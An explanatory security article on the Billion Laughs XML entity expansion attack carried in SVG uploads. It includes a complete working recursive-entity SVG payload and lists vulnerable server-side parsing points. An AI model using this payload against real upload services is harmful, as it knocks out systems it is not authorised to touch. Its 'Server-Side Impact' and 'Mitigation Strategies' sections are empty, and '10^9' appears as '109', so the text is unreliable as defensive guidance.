Billion Laughs Attack via SVG File Upload

Scalable Vector Graphics (SVG) files are widely used for vector-based imagery on the web, but because they are built using XML, they inherit fundamental XML vulnerabilities. A classic Denial of Service (DoS) vulnerability, known as the XML Entity Expansion or “Billion Laughs” attack, occurs when a server-side parser processes an SVG containing nested, recursively defined XML entities. This article explains the technical mechanics of executing a Billion Laughs attack using SVG files, how backend image processing pipelines are affected, and the standard methods for mitigating this threat.

The Underlying Mechanism: SVG as XML

Unlike binary image formats such as PNG or JPEG, SVG is a text-based format governed by XML specifications. Because SVGs are standard XML documents, standard XML parsers often handle them during server-side operations like image processing, sanitization, thumbnail generation, or format conversion (e.g., converting SVG to PNG).

By default, many XML parsers support Document Type Definitions (DTDs), which permit the definition of custom entities. When a parser encounters an entity reference, it replaces it with the corresponding literal string defined in the DTD.

How the Attack is Structured in an SVG

The Billion Laughs attack leverages exponential entity expansion. An attacker constructs a custom <!DOCTYPE> definition within the SVG file, defining a base entity and several subsequent layers of entities where each layer references the previous one multiple times.

Below is an example of an SVG carrying a recursive entity payload:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [
  <!ELEMENT svg ANY >
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <text x="10" y="20">&lol9;</text>
</svg>

When this file is parsed, lol9 expands into ten instances of lol8, which each expand into ten instances of lol7, and so on. A file containing less than a single kilobyte of data suddenly expands into 109 (one billion) copies of the string "lol" in memory, requiring roughly 3 gigabytes of RAM to parse. Adding just a couple more entity layers causes the memory requirement to scale into terabytes.

Server-Side Execution Vectors

The attack executes when an application accepts untrusted SVG uploads and parses them using an insecurely configured XML engine. Common vulnerable integration points include:

  1. Avatar and Document Uploads: Users upload an SVG avatar, resume, or asset, which the server parses to inspect dimensions, metadata, or file validity.
  2. Server-Side Rasterization: Libraries such as ImageMagick, Apache Batik, Sharp (via librsvg), or headless browsers convert incoming SVGs into PNG or JPEG formats for storage or display.
  3. PDF Generation Services: Services that render user-supplied vector graphics into PDF reports or invoices using vulnerable backend XML interpreters.

Server-Side Impact

When the server-side XML engine resolves the recursive entities, the following chain of failures typically occurs:

Mitigation Strategies

Defending against entity expansion via SVG requires disabling dangerous XML parsing features at the parser configuration level: